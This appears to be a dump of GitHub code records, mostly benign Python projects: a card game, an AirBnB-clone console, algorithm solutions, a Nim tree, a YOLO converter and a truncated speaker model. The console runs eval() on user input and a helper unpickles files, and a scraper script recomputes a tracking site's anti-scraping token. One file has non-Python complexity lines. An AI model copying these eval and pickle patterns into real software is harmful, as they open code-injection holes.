str]:\n \"\"\"Take a turn from one of your piles of cards.\n\n Args:\n top_discard_card: The card at the top of the discard pile\n\n Returns:\n A tuple of: 1) the cards chosen (or None if the player must pick up the discard pile),\n and 2) the location from which the cards were chosen to display in the log\n \"\"\"\n if self.hand:\n cards = await self.hand.choose(\n comms=self.comms,\n prompt=\"Card(s) to play:\",\n min_num=1,\n max_num=len(self.hand),\n playing_faceup=True,\n min_card=top_discard_card,\n )\n location = \"hand\"\n elif self.three_up:\n cards = await self.three_up.choose(\n comms=self.comms,\n prompt=\"Card(s) to play from your 3up:\",\n min_num=1,\n max_num=len(self.three_up),\n playing_faceup=True,\n min_card=top_discard_card,\n )\n location = \"3up\"\n else:\n cards = await self.three_down.choose(\n comms=self.comms,\n prompt=\"Card to play from your 3dn:\",\n min_num=1,\n max_num=1,\n playing_faceup=False,\n min_card=top_discard_card,\n )\n location = \"3dn\"\n\n return cards, location\n\n def add_to_hand(self, cards: Cards) -> None:\n \"\"\"Add cards to your hand and sort them if your hand is too big\n\n Args:\n cards: The cards to add\n \"\"\"\n self.hand += cards\n if len(self.hand) > 6:\n self.hand.sort()\n\n def display(self, player_name: str, hide_hand: bool) -> str:\n \"\"\"Render a message displaying the player's situation\n\n Args:\n player_name: The player's name\n hide_hand: Whether to hide the hand (if it's not the active player)\n\n Returns:\n A string to display\n \"\"\"\n hand = (\n self.hand.display(hide_indexes=list(range(len(self.hand))))\n if hide_hand\n else self.hand\n )\n three_down = (\n self.three_down.display(hide_indexes=list(range(len(self.three_down))))\n if hide_hand\n else self.three_down\n )\n\n return (\n f\"{player_name}\\n\"\n f\"{'~' * len(player_name)}\\n\"\n f\"{player_name}'s hand: {hand}\\n\"\n f\"{player_name}'s 3up: {self.three_up}\\n\"\n f\"{player_name}'s 3dn: {three_down}\\n\"\n )\n\n\nclass TurnLog(collections.deque[str]):\n \"\"\"A log of what happened in the last few turns\"\"\"\n\n def __str__(self) -> str:\n if len(self) == 0:\n return \"\"\n elif len(self) == 1:\n title = \"Last turn:\"\n return f\"{title}\\n{'~' * len(title)}\\n{self[0]}\"\n else:\n title = f\"Last {len(self)} turns (most recent at top):\"\n return f\"{title}\\n{'~' * len(title)}\\n\" + \"\\n\".join(self)\n\n\nclass Game:\n \"\"\"A class tracking everything happening in the game\"\"\"\n\n TURN_LOG_LENGTH = 10\n\n def __init__(self) -> None:\n self.reset_game()\n\n def reset_game(self) -> None:\n \"\"\"Reset the game to a new game state\"\"\"\n self.is_playing = False\n self.current_turn = \"\"\n self.players: dict[str, Player] = {}\n self.deck = Deck()\n self.discard = Discard()\n self.turn_log = TurnLog([], self.TURN_LOG_LENGTH)\n\n def add_player(self, name: str, is_vip: bool, comms: Communicator) -> None:\n \"\"\"\n Add a player to the game before it starts\n\n Args:\n name: The name of the player to add\n is_vip: Whether they're the first player to join\n comms: The player's Communicator\n \"\"\"\n self.players[name] = Player(is_vip, comms)\n self.players[name].add_to_hand(self.deck.deal(6))\n self.players[name].three_down += self.deck.deal(3)\n\n def board_view(self, player_name: str) -> str:\n \"\"\"Compile a view of the board to a specific player\n\n Args:\n player_name: The name of the player whose view it is\n\n Returns:\n A string to display\n \"\"\"\n # put the current player on top\n players = [(player_name, self.players[player_name])] + [\n (name, player)\n for name, player in self.players.items()\n if name != player_name\n ]\n player_descriptions = \"\\n\".join(\n player.display(player_name=name, hide_hand=name != player_name)\n for name, player in players\n )\n\n return (\n f\"{self.current_turn}'s turn!\\n\\n\"\n f\"Draw pile: {self.deck}\\n\"\n f\"Discard pile: {self.discard}\\n\\n\"\n f\"{player_descriptions}\\n\\n\"\n f\"{self.turn_log}\"\n )\n\n async def broadcast_board(self) -> None:\n \"\"\"Broadcast the views of the board to all players\"\"\"\n for player_name, player in self.players.items():\n await player.comms.update_board(self.board_view(player_name))\n\n async def broadcast_waiting_prompt(self) -> None:\n \"\"\"Broadcast the waiting prompt to all players whose turn it isn't\"\"\"\n for player_name, player in self.players.items():\n if player_name != self.current_turn:\n await player.comms.update_prompt(\n f\"Waiting for {self.current_turn} to play\"\n )\n\n async def everyone_place_three_up(self) -> None:\n \"\"\"Before the game starts, everyone go around and place their 3up cards\"\"\"\n for player_name, player in self.players.items():\n self.current_turn = player_name\n await self.broadcast_board()\n await self.broadcast_waiting_prompt()\n await player.place_three_up()\n\n async def everyone_take_a_turn(self) -> str | None:\n \"\"\"Everyone go around and take a turn\n\n Returns:\n None unless a player has won; then a message describing how they won\n \"\"\"\n for player_name, player in self.players.items():\n self.current_turn = player_name\n turns_left = 1\n while turns_left:\n await self.broadcast_board()\n await self.broadcast_waiting_prompt()\n top_discard = self.discard[-1] if self.discard else None\n cards, location = await player.take_turn(top_discard)\n turns_left -= 1\n if cards:\n # the player played cards\n if not player.three_down:\n winning_msg = f\"{player_name} won with a {cards[0]}!! Woohoo!!!\"\n self.turn_log.appendleft(winning_msg)\n await self.broadcast_board()\n return winning_msg\n\n # If the card has extra turns, add them here\n turns_left += cards[0].extra_turns\n self.discard += cards\n\n # Deal back up to 3 cards if they exist in the deck\n cards_to_deal = min(max(0, 3 - len(player.hand)), len(self.deck))\n player.add_to_hand(self.deck.deal(cards_to_deal))\n\n # Add a message to the turn log\n msg = f\"{player_name} played {cards} from their {location}\"\n if not self.discard:\n msg += \" and the discard pile was cleared\"\n self.turn_log.appendleft(msg)\n else:\n # The player has to pick up the discard pile\n player.add_to_hand(self.discard)\n self.discard.clear()\n self.turn_log.appendleft(\n f\"{player_name} picked up the discard pile\"\n )\n # no one won yet\n return None\n\n async def play(self) -> str:\n \"\"\"Play the game!\n\n Returns:\n The win message\n \"\"\"\n for player in self.players.values():\n await player.comms.enable_card_form()\n self.is_playing = True\n await self.everyone_place_three_up()\n winning_msg = None\n while not winning_msg:\n winning_msg = await self.everyone_take_a_turn()\n self.is_playing = False\n return winning_msg\n","repo_name":"austin3dickey/austin-games","sub_path":"austingames/threeupthreedown/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":9430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"27133670008","text":"#!/usr/bin/python3\n\"\"\"\nModule containing the console for our AirBnb Clone\n\"\"\"\nimport cmd\nimport models\nimport inspect\nimport ast\nfrom models.base_model import BaseModel\nfrom models.user import User\nfrom models.state import State\nfrom models.city import City\nfrom models.amenity import Amenity\nfrom models.place import Place\nfrom models.review import Review\n\n\nstorage = models.storage\n\n\nclass HBNBCommand(cmd.Cmd):\n \"\"\" Class for our AirBnb console \"\"\"\n prompt = \"(hbnb) \"\n\n def do_quit(self, arg):\n \"\"\" Quits the program when quit is called \"\"\"\n raise SystemExit\n\n def do_EOF(self, arg):\n \"\"\" Quits the program when EOF is called \"\"\"\n return True\n\n def emptyline(self):\n \"\"\" Does nothing \"\"\"\n pass\n\n def do_create(self, arg):\n \"\"\" Creates a new instance of BaseModel \"\"\"\n if len(arg) == 0:\n print(\"** class name missing **\")\n else:\n args = arg.split()\n try:\n new = eval(args[0] + \"()\")\n new.save()\n print(new.id)\n except Exception:\n print(\"** class doesn't exist **\")\n\n def do_show(self, arg):\n \"\"\" Prints the string representation instance based on class name \"\"\"\n args = arg.split()\n if len(args) == 0:\n print(\"** class name missing **\")\n return\n try:\n eval(args[0])\n except Exception:\n print(\"** class doesn't exist **\")\n return\n if len(args) == 1:\n print(\"** instance id missing **\")\n return\n else:\n try:\n key = args[0] + \".\" + args[1]\n print(storage.all()[key])\n except Exception:\n print(\"** no instance found **\")\n return\n\n def do_destroy(self, arg):\n \"\"\" Deletes an instance based on the class name and id \"\"\"\n args = arg.split()\n if len(args) == 0:\n print(\"** class name missing **\")\n return\n try:\n eval(args[0])\n except Exception:\n print(\"** class doesn't exist **\")\n return\n if len(args) == 1:\n print(\"** instance id missing **\")\n return\n else:\n try:\n key = args[0] + \".\" + args[1]\n del storage.all()[key]\n storage.save()\n except Exception:\n print(\"** no instance found **\")\n return\n\n def do_all(self, arg):\n \"\"\" Prints all string representation instances based on class name \"\"\"\n args = arg.split()\n list_inst = []\n if len(args) == 0:\n list_inst = [str(value) for key, value in storage.all().items()]\n if len(list_inst) != 0:\n print(list_inst)\n return\n try:\n eval(args[0])\n except Exception:\n print(\"** class doesn't exist **\")\n return\n for key, value in storage.all().items():\n if str(key.split(\".\")[0]) == args[0]:\n list_inst.append(str(value))\n if len(list_inst) != 0:\n print(list_inst)\n\n def do_update(self, arg):\n \"\"\" Updates an instance based on the class name and id \"\"\"\n args = arg.split()\n list_inst = []\n if len(args) == 0:\n print(\"** class name missing **\")\n return\n try:\n eval(args[0])\n except Exception:\n print(\"** class doesn't exist **\")\n return\n if len(args) == 1:\n print(\"** instance id missing **\")\n return\n\n key = args[0] + '.' + args[1]\n try:\n storage.all()[key]\n except Exception:\n print(\"** no instance found **\")\n return\n\n if len(args) == 2:\n print(\"** attribute name missing **\")\n return\n elif len(args) == 3:\n print(\"** value missing **\")\n return\n else:\n try:\n if '.' in args[3]:\n value = float(args[3])\n else:\n value = int(args[3])\n except ValueError:\n value = str(args[3]).strip(\"\\\"':\")\n value = str(value)\n setattr(storage.all()[key], args[2].strip(\"\\\"':\"), value)\n storage.save()\n\n def count(self, arg):\n \"\"\" Returns the total quantity of instances of the Class\"\"\"\n count = 0\n args = arg.split()\n if eval(args[0]):\n for key in storage.all():\n if arg in key:\n count += 1\n print(count)\n\n def dict_update(self, arg, class_name):\n \"\"\" Updates for dicts \"\"\"\n args = arg.split(\",\", 1)\n obj = storage.get_object(args[0].strip(\"'\\\"\"))\n dicti = ast.literal_eval(args[1].strip())\n if obj is None or obj.__class__.__name__ != class_name:\n print(\"** no instance found **\")\n return\n for attr in dicti:\n setattr(obj, attr, dicti[attr])\n\n def default(self, arg):\n \"\"\" Attempts to parse unfound command \"\"\"\n funcs = {\"all\": HBNBCommand.do_all, \"count\": HBNBCommand.count}\n other_funcs = {\"show\": HBNBCommand.do_show,\n \"destroy\": HBNBCommand.do_destroy}\n args = arg.split(\".\")\n func_name = \"\"\n func_id = \"\"\n if len(args) > 1:\n for index, char in enumerate(args[1]):\n if char == \"(\":\n func_name = args[1][0:index]\n break\n\n if func_name in funcs:\n funcs[func_name](self, args[0])\n elif func_name in other_funcs:\n arg = args[0] + \" \" + args[1][index + 2:-2]\n other_funcs[func_name](self, arg)\n elif func_name == \"update\":\n method_name = args[1].split(\"(\")\n method_name[1] = method_name[1].strip()\n method_splitted = method_name[1][:-1]\n argsplit = method_splitted.split(\",\", 1)\n if argsplit[1].strip()[0] == \"{\":\n return self.dict_update(method_splitted, args[0])\n else:\n method_splitted = method_splitted.split(\",\")\n stripped_string = \" \".join([args[0]] +\n method_splitted).replace('\"', \"\")\n return self.do_update(stripped_string)\n else:\n print(\"*** Unknown syntax: {}\".format(arg))\n\n\nif __name__ == '__main__':\n HBNBCommand().cmdloop()\n","repo_name":"OctaveC/AirBnB_clone","sub_path":"console.py","file_name":"console.py","file_ext":"py","file_size_in_byte":6597,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"2"} +{"seq_id":"38775602558","text":"TC: O(nm*min(n,m))\nSC: O(nm*min(n,m))\n\ndef longestCommonSubsequence(str1, str2):\n # Write your code here.\n result = [[[] for i in range(len(str1)+1)] for j in range(len(str2)+1)]\n for i in range(1, len(str2) +1):\n for j in range(1, len(str1)+1):\n if str2[i-1] == str1[j-1]:\n res = result[i-1][j-1] + [str2[i-1]]\n else:\n res = []\n if len(result[i-1][j])> len(result[i][j-1]):\n res = result[i-1][j]\n else:\n res = result[i][j-1]\n result[i][j] = res\n return result[-1][-1]\n\n# clean code ->\ndef longestCommonSubsequence(str1, str2):\n # Write your code here.\n result = [[[] for i in range(len(str1)+1)] for j in range(len(str2)+1)]\n for i in range(1, len(str2) +1):\n for j in range(1, len(str1)+1):\n if str2[i-1] == str1[j-1]:\n result[i][j] = result[i-1][j-1] + [str2[i-1]]\n else:\n result[i][j] = max(result[i-1][j], result[i][j-1], key = len)\n return result[-1][-1]","repo_name":"alexanderjac/Problem-Solving","sub_path":"longestCommonSubsequence/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1085,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"12615495122","text":"# -*- coding: utf-8 -*-\n# __author__ = \"zok\" 362416272@qq.com\n# Date: 2019-05-30 Python: 3.7\n\nimport js2py\nimport requests\nimport json\n\n\nclass AiCha(object):\n headers = {\n 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36',\n 'Referer': 'https://www.ickd.cn/'\n }\n context = js2py.EvalJs() # python中使用js\n\n def __init__(self, express):\n self.express = express # 快递单号\n\n with open(\"make.js\", \"r\", encoding=\"utf-8\") as f:\n self.context.execute(f.read())\n\n def make_tm(self):\n mt = self.context.make_tm()\n return mt\n\n def make_tk(self, mt):\n _str = self.express + str(mt)\n tk = self.context.sign(_str)\n return tk\n\n def test_get_tk(self, _str):\n print(self.context.sign(_str))\n\n def start(self):\n self.login()\n tm = self.make_tm()\n tk = self.make_tk(tm)\n _tm = '_' + str(tm)\n params = {\n 'mailNo': self.express,\n 'spellName': '',\n 'exp-textName': '',\n 'tk': tk,\n 'tm': tm,\n 'callback': '_jqjsp',\n _tm: ''\n }\n\n url = 'https://biz.trace.ickd.cn/auto/' + self.express\n\n response = requests.get(url, headers=self.headers, params=params)\n print(response.url)\n if response.status_code == 200:\n self.parse(response.text)\n else:\n print('获取失败')\n\n def parse(self, text):\n info = json.loads(text[text.find('(')+1: -2])\n msg = \"\"\"\n 快递: {expTextName}\n 单号: {mailNo}\n \"\"\".format(expTextName=info.get('expTextName'), mailNo=info.get('mailNo'))\n print(msg)\n for node in info.get('data'):\n print(node)\n\n def login(self):\n url = 'https://i.ickd.cn/userLog.do?add&callback=jQuery110209561380635635104_{tm}&com={type}&mailNo={key}&status=3&_={tm}'\n target_url = url.format(tm=self.make_tm(), type='zhongtong', key=self.express)\n requests.get(target_url, headers=self.headers)\n\n\nif __name__ == '__main__':\n # 5 月 20 日 可用\n # 在查询之前还需要做一个请求登陆验证\n ac = AiCha('75150911849051')\n ac.start()\n\n","repo_name":"qq471959045/SpiderCrackDemo","sub_path":"反爬处理案例/KuaiDi/AiCha.py","file_name":"AiCha.py","file_ext":"py","file_size_in_byte":2298,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"2"} +{"seq_id":"34141897238","text":"import random\n\n# Piles class\nclass Piles:\n def __init__(self, pile1, pile2, pile3):\n # Create 3 piles with the given values and store them in a tuple\n self.pile1 = pile1\n self.pile2 = pile2\n self.pile3 = pile3\n self.piles = [self.pile1, self.pile2, self.pile3]\n\n def __str__(self):\n # Return a string representation of the piles in the format:\n return f\"{self.pile1}, {self.pile2}, {self.pile3}\"\n\n def new_piles(self, index, value):\n # Creates a new Piles object with different values\n\n # Create a copy of the current piles\n temp = list(self.piles)\n # Subtract the value from the pile at the given index\n temp[index] -= value\n\n if sum(temp) > 0:\n # If the sum of the new piles is 0, return None\n return Piles(temp[0], temp[1], temp[2])\n \n # Return the new piles object\n return None\n\n\nclass GameNode:\n # GameNode class\n def __init__(self, piles, max_player=True):\n # Create a new GameNode object with the given piles, max+player is True by default because the first player is always the max player\n self.piles = piles\n self.max_player = max_player\n # Create an empty list of children and set the leaf value to 0\n self.children = []\n self.score = 0\n\n def add_child(self, piles):\n # Add a new child to the list of children with the same piles but with the max player switched\n self.children.append(GameNode(piles, not self.max_player))\n\n def get_value(self):\n # Return the value of the node\n\n # Internal recursive function\n def calculate_value(node):\n # If the node is a leaf node, return the leaf value\n if node.score != 0:\n return node.score\n \n # If the node is not a leaf node, return the max or min value of the children\n # depending on if the node is a max or min player\n if node.max_player:\n return max(calculate_value(child) for child in node.children)\n return min(calculate_value(child) for child in node.children)\n\n # Call the internal recursive function on self\n ans = calculate_value(self)\n\n return ans\n\n def __str__(self, level=0):\n # Return a string representation of the node and its children in the format:\n\n # Piles: , Player: , Value: <-1 or 0 or 1>\n # The indent is based on the level of the node which is 0 by default\n indent = \"\\t\" * level\n node_info = f\"{indent}Piles: {self.piles}, \"\n \n # If the node is a max player, set the player to Max, otherwise set it to Min\n player = \"Max\" if self.max_player else \"Min\"\n\n node_info += f\"Player: {player}, \"\n node_info += f\"Value: {self.get_value()}\\n\"\n \n # Recursively call the function on the children of the node adding the info to the string and level + 1\n for child in self.children:\n node_info += child.__str__(level + 1)\n \n # Return the string\n return node_info\n\n# NimGame class\nclass NimGame:\n def __init__(self, pile1, pile2, pile3):\n # Create a new NimGame object with the given piles with the Root set to a GameNode with the given piles\n self.piles = Piles(pile1, pile2, pile3)\n self.root = GameNode(self.piles)\n # Build the subtree\n self.build_subtree(self.root)\n\n def build_subtree(self, node):\n # Build the subtree of the given node\n\n # There are 3 possible moves for each pile so loop through each pile and each possible move\n for i in range(3):\n for j in range(1, node.piles.piles[i] + 1):\n # Create a new pile with the given move and add it as a child to the node (if it is a valid move)\n new_pile = node.piles.new_piles(i, j)\n if new_pile:\n node.add_child(new_pile)\n self.build_subtree(node.children[-1])\n # If the node is a leaf node, set the leaf value to -1 if it is a max player, otherwise set it to 1\n if not node.children:\n node.score = -1 if node.max_player else 1\n\n def print_tree(self):\n # Print the tree starting from the root\n print(self.root)\n\n def play_game(self):\n # Play the game starting from the root\n\n # Set the current move to the root and randomly choose who goes first\n current_move = self.root\n turn = bool(random.getrandbits(1))\n \n # While the current move has children, set the current move to the max or random child depending on who's turn it is\n print(\"Start:\", current_move.piles)\n while current_move.children:\n if turn:\n # The max of the values of the children\n current_move = max(current_move.children, key=lambda x: x.get_value())\n else:\n current_move = random.choice(current_move.children)\n \n # Print the next move and switch who's turn it is\n player = \"A\" if turn else \"B\"\n print(f\"Player {player}'s turn: \", current_move.piles)\n turn = not turn\n \n # If the current move is a max player, player A wins, otherwise player B wins\n winner = \"A\" if turn else \"B\"\n # Print the winner and return the winner\n print(winner, \"is the winner\")\n print()\n return winner\n\n def sim(self):\n # Simulate the game 100 times and print the results\n a_wins = 0\n b_wins = 0\n for _ in range(100):\n # Play the game 100 times and keep track of the number of wins for each player\n if self.play_game() == \"A\":\n a_wins += 1\n else:\n b_wins += 1\n\n # Print the results\n print(f\"Player A won {a_wins} times, Player B won {b_wins} times.\")\n\n\n","repo_name":"arnav-jain1/Fall_2023","sub_path":"210/ArnavJain_A8/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":5958,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"43324892895","text":"import pickle\n\ndef parse_cfg(cfgfile):\n file = open(cfgfile, 'r')\n lines = file.read().split('\\n') # store the lines in a list\n lines = [x for x in lines if len(x) > 0] # get read of the empty lines\n lines = [x for x in lines if x[0] != '#']\n lines = [x.rstrip().lstrip() for x in lines]\n\n block = {}\n\n for line in lines:\n key, value = line.split(\"=\")\n block[key.rstrip()] = value.lstrip()\n\n # print block\n return block\n\n\ndef picklestoreData(fileName,data):\n\n dbfile = open(fileName, 'wb')\n\n # source, destination\n pickle.dump(data, dbfile)\n dbfile.close()\n\n\ndef pickleloadData(fileName):\n\n dbfile = open(fileName, 'rb')\n db = pickle.load(dbfile)\n return db","repo_name":"prashant15072/MidiCommunication","sub_path":"Scripts/ConfigurationSetup.py","file_name":"ConfigurationSetup.py","file_ext":"py","file_size_in_byte":721,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"2"} +{"seq_id":"70948997807","text":"import json\nimport cv2\nfrom matplotlib import pyplot as plt\nimport os\nimport base64\nimport numpy as np\nimport shutil\nfrom tqdm import tqdm\n\n# set to True to draw anotations\ndraw_anotations = False\n\n# paths\nimage_folder = 'datasets/13_points_dataset_2/val/images'\noutput_folder = image_folder.replace('13_points_dataset_2', 'dataset')\n\n# read all images and annotations in image_folder\nimages = os.listdir(image_folder)\nannotations = [image.replace('tif', 'json') for image in images]\n\n# if folder exists delete them\nif os.path.exists(output_folder):\n shutil.rmtree(output_folder)\n shutil.rmtree(output_folder.replace('images', 'labels'))\n\n# create folders\nos.makedirs(output_folder)\nos.makedirs(output_folder.replace('images', 'labels'))\n\n# loop over all images\nfor ind in tqdm(range(len(images))):\n\n # read image and annotation\n # image = cv2.imread(os.path.join(image_folder, images[ind]))\n annotation = os.path.join(image_folder.replace(\n 'images', 'annotations'), annotations[ind])\n \n # Open the JSON file\n with open(annotation) as f:\n # Load the JSON data\n json_data = json.load(f)\n\n # Decoding the base64 string\n img_bytes = base64.b64decode(json_data['imageData'])\n\n # Converting the bytes to a NumPy array\n nparr = np.frombuffer(img_bytes, np.uint8)\n\n # Reading the image using OpenCV\n image = cv2.imdecode(nparr, cv2.IMREAD_COLOR)\n\n # save image\n cv2.imwrite(os.path.join(output_folder, images[ind]), image)\n\n # list to store labels\n labels = []\n\n for data in json_data['shapes']:\n\n # save labels\n if data['label'] == 'bbox':\n\n # get coordinates\n x_min = int(data['points'][0][0])\n y_min = int(data['points'][0][1])\n x_max = int(data['points'][1][0])\n y_max = int(data['points'][1][1])\n\n # get normalized values of center, width and height\n x_min_norm = (x_min + (x_max - x_min)/2) / image.shape[1]\n y_min_norm = (y_min + (y_max - y_min)/2) / image.shape[0]\n x_max_norm = (x_max - x_min) / image.shape[1]\n y_max_norm = (y_max - y_min) / image.shape[0]\n\n # draw rectangle\n cv2.rectangle(image, (x_min, y_min),\n (x_max, y_max), (0, 255, 0), 2)\n\n # store normalized label\n label = '0 ' + str(x_min_norm) + ' ' + str(y_min_norm) + \\\n ' ' + str(x_max_norm) + ' ' + str(y_max_norm)\n\n else:\n # get coordinates\n x = int(data['points'][0][0])\n y = int(data['points'][0][1])\n\n if x == 0 and y == 0:\n break\n\n # draw circle\n cv2.circle(image, (x, y), 9, (255, 0, 0), -1)\n\n # get normalized values between 0 to 1\n x_norm = x / image.shape[1]\n y_norm = y / image.shape[0]\n\n # add to label the normalized values and visibility\n label += ' ' + str(x_norm) + ' ' + str(y_norm) + ' 2'\n\n # append label to labels list\n labels.append(label)\n\n # save labels\n with open(os.path.join(output_folder.replace('images', 'labels'), images[ind].replace('tif', 'txt')), 'w') as f:\n for label in labels:\n f.write(label + '\\n')\n\n if draw_anotations:\n plt.imshow(cv2.cvtColor(image, cv2.COLOR_BGR2RGB))\n plt.axis('off')\n plt.get_current_fig_manager().full_screen_toggle()\n plt.show()\n","repo_name":"rodo1985/yolo_keypoint","sub_path":"convert2yolo.py","file_name":"convert2yolo.py","file_ext":"py","file_size_in_byte":3454,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"27285749062","text":"from typing import List, Dict, Tuple\n\nfrom ..resource import Resource\nfrom ...core_entry_handler_manager import EntryTypeManager\nfrom ...entry_reference import EntryReference\nfrom ...pod.strings import HashedString\nfrom ....utils.byte_io_ds import ByteIODS\n\n\nclass Joint:\n def __init__(self):\n self.name = HashedString()\n self.parent = 0\n\n def parse(self, reader: ByteIODS):\n self.name = reader.read_hashed_string()\n self.parent = reader.read_int16()\n\n\n def __repr__(self):\n return f''\n\n\nclass SkeletonAnimChannel:\n def __init__(self):\n self.name = HashedString()\n\n def parse(self, reader: ByteIODS):\n self.name = reader.read_hashed_string()\n\n\n\n def __repr__(self):\n return f''\n\n\nclass Skeleton(Resource):\n magic = 0x11E1D1A40B933E66\n\n def __init__(self):\n super().__init__()\n self.joints: List[Joint] = []\n self.joint_name_to_index: Dict[str, Tuple[HashedString, int]] = {}\n self.joint_name_hash_to_index: Dict[int, Tuple[int, int]] = {}\n self.animation_channels: List[SkeletonAnimChannel] = []\n self.anim_channel_name_to_handle: Dict[str, Tuple[HashedString, int]] = {}\n self.skeleton_layout_hash = 0\n self.skeleton_channel_layout_hash = 0\n self.edge_anim_skeleton: List[int] = []\n\n def parse(self, reader: ByteIODS, core_file):\n super().parse(reader, core_file)\n array_size = reader.read_uint32()\n for _ in range(array_size):\n joint = Joint()\n joint.parse(reader)\n self.joints.append(joint)\n hash_map_len = reader.read_uint32()\n for _ in range(hash_map_len):\n reader.read_uint32()\n key = reader.read_hashed_string()\n self.joint_name_to_index[key] = reader.read_int32()\n hash_map_len = reader.read_uint32()\n for _ in range(hash_map_len):\n reader.read_uint32()\n key = reader.read_uint32()\n self.joint_name_hash_to_index[key] = reader.read_int32()\n animation_channels_count = reader.read_uint32()\n for _ in range(animation_channels_count):\n anim_channel = SkeletonAnimChannel()\n anim_channel.parse(reader)\n self.animation_channels.append(anim_channel)\n hash_map_len = reader.read_uint32()\n for _ in range(hash_map_len):\n reader.read_uint32()\n key = reader.read_hashed_string()\n self.anim_channel_name_to_handle[key] = reader.read_int32()\n self.skeleton_layout_hash = reader.read_uint32()\n self.skeleton_channel_layout_hash = reader.read_uint32()\n array_size = reader.read_uint32()\n self.edge_anim_skeleton = list(reader.read_fmt(f'{array_size}B'))\n\n\n\nEntryTypeManager.register_handler(Skeleton)\n\n\nclass DSCoverModelPreComputedResource(Resource):\n magic = 0xb1d37c8f8304785b\n\n def __init__(self):\n super().__init__()\n self.bbox = EntryReference()\n self.repr_skeleton = EntryReference()\n\n def parse(self, reader: ByteIODS, core_file):\n super().parse(reader, core_file)\n self.bbox.parse(reader, core_file)\n self.repr_skeleton.parse(reader, core_file)\n\n\n\nEntryTypeManager.register_handler(DSCoverModelPreComputedResource)\n","repo_name":"REDxEYE/ProjectDecima_python","sub_path":"ProjectDecima/core/entry_types/skeleton/armature.py","file_name":"armature.py","file_ext":"py","file_size_in_byte":3351,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"2"} +{"seq_id":"6913806010","text":"\"\"\"\nLeetCode :: June 2021 Challenge :: Lowest Common Ancestor of a Binary Tree\njramaswami\n\"\"\"\n\n\nclass Solution():\n def lowestCommonAncestor(self, root, p_node, q_node):\n\n def dfs(node, parent, level):\n if node is None:\n return\n node.level = level\n node.parent = parent\n dfs(node.left, node, level + 1)\n dfs(node.right, node, level + 1)\n\n dfs(root, None, 0)\n\n while p_node.level > q_node.level:\n p_node = p_node.parent\n\n while q_node.level > p_node.level:\n q_node = q_node.parent\n\n while q_node != p_node:\n p_node = p_node.parent\n q_node = q_node.parent\n\n return p_node\n","repo_name":"jramaswami/LeetCode_Python","sub_path":"lowest_common_ancestor_of_a_binary_tree.py","file_name":"lowest_common_ancestor_of_a_binary_tree.py","file_ext":"py","file_size_in_byte":728,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"34519597447","text":"from typing import Optional, List\nimport argparse\nfrom typing_extensions import Final\nimport torch\nimport torch.nn as nn\nimport pytorch_lightning as pl\n\n# from pytorch_metric_learning.losses import ContrastiveLoss\n# from pytorch_metric_learning.distances import LpDistance\nfrom resnet.ResNetSE34V2 import MainModel as ThinResNet\nfrom resnet.ResNetSE34L import MainModel as FastResNet\nfrom snn.librispeech.utils import compute_evaluation_metrics\nfrom .preprocessor import PreProcessor\n\n\nclass BaseNet(pl.LightningModule):\n SAMPLE_RATE: Final[int] = 16000\n\n # NOTE: Defaults here shouldn't really matter much, they're just here to make initializing the model\n # for other purposes easier (such as log_graph)...\n def __init__(self, model: str,\n max_epochs: int = 100,\n torch_augment: bool = False,\n augment: bool = False,\n specaugment: bool = False,\n signal_transform: str = 'melspectrogram',\n n_fft: int = 512,\n n_mels: int = 40,\n resnet_aggregation_type: str = 'SAP',\n resnet_type: str = 'thin', resnet_n_out: int = 512,\n plot_roc: bool = False,\n # DataModule args passed in for save_hyperparameters\n max_sample_length: int = 0,\n batch_size: int = 128,\n train_batch_size: Optional[int] = None,\n num_ways: int = 1, num_shots: int = 1,\n num_train: int = 0, num_speakers: int = 0,\n num_workers: int = 1, data_path: str = './data/', rng_seed: int = 0,\n **kwargs):\n super().__init__()\n # Training/testing params\n self.max_epochs: Final = max_epochs # Needed for OneCycleLR\n if augment and torch_augment:\n raise ValueError('Both augment and torch_augment provided, please choose one.')\n self.augment: Final = augment or torch_augment\n self.specaugment: Final = specaugment\n self.batch_size: Final[int] = batch_size\n self.train_batch_size: Final[int] = train_batch_size or batch_size\n self.signal_transform: Final = signal_transform\n\n self.num_ways: Final[int] = num_ways\n self.num_shots: Final[int] = num_shots\n\n self.save_hyperparameters('model', 'max_epochs',\n 'batch_size', 'train_batch_size', 'rng_seed',\n 'max_sample_length',\n 'num_ways', 'num_shots',\n 'num_speakers', 'num_train',\n 'augment', 'torch_augment',\n 'specaugment', 'signal_transform', 'n_fft', 'n_mels',\n 'resnet_aggregation_type', 'resnet_type', 'resnet_n_out')\n\n self._plot_roc: Final = plot_roc\n\n if model in ('snn-angularproto', 'snn-softmaxproto'):\n self._example_input_array = torch.rand(batch_size, 1, n_mels, 201)\n else:\n self._example_input_array = [torch.rand(batch_size, 1, n_mels, 201), torch.rand(batch_size, 1, n_mels, 201)]\n\n self.spectogram_transform: Final[nn.Module] = PreProcessor(signal_transform,\n sample_rate=self.SAMPLE_RATE,\n n_fft=n_fft, n_mels=n_mels,\n specaugment=specaugment, torch_augment=torch_augment,\n **kwargs)\n\n # Bx1xN_MELSxTIME -> BxC\n self.cnn: nn.Module\n if resnet_type == 'thin':\n self.cnn = ThinResNet(nOut=resnet_n_out, encoder_type=resnet_aggregation_type, n_mels=n_mels)\n elif resnet_type == 'fast':\n self.cnn = FastResNet(nOut=resnet_n_out, encoder_type=resnet_aggregation_type)\n else:\n raise ValueError\n\n cnn_out_dim: int\n if resnet_aggregation_type == 'SAP':\n cnn_out_dim = 512\n elif 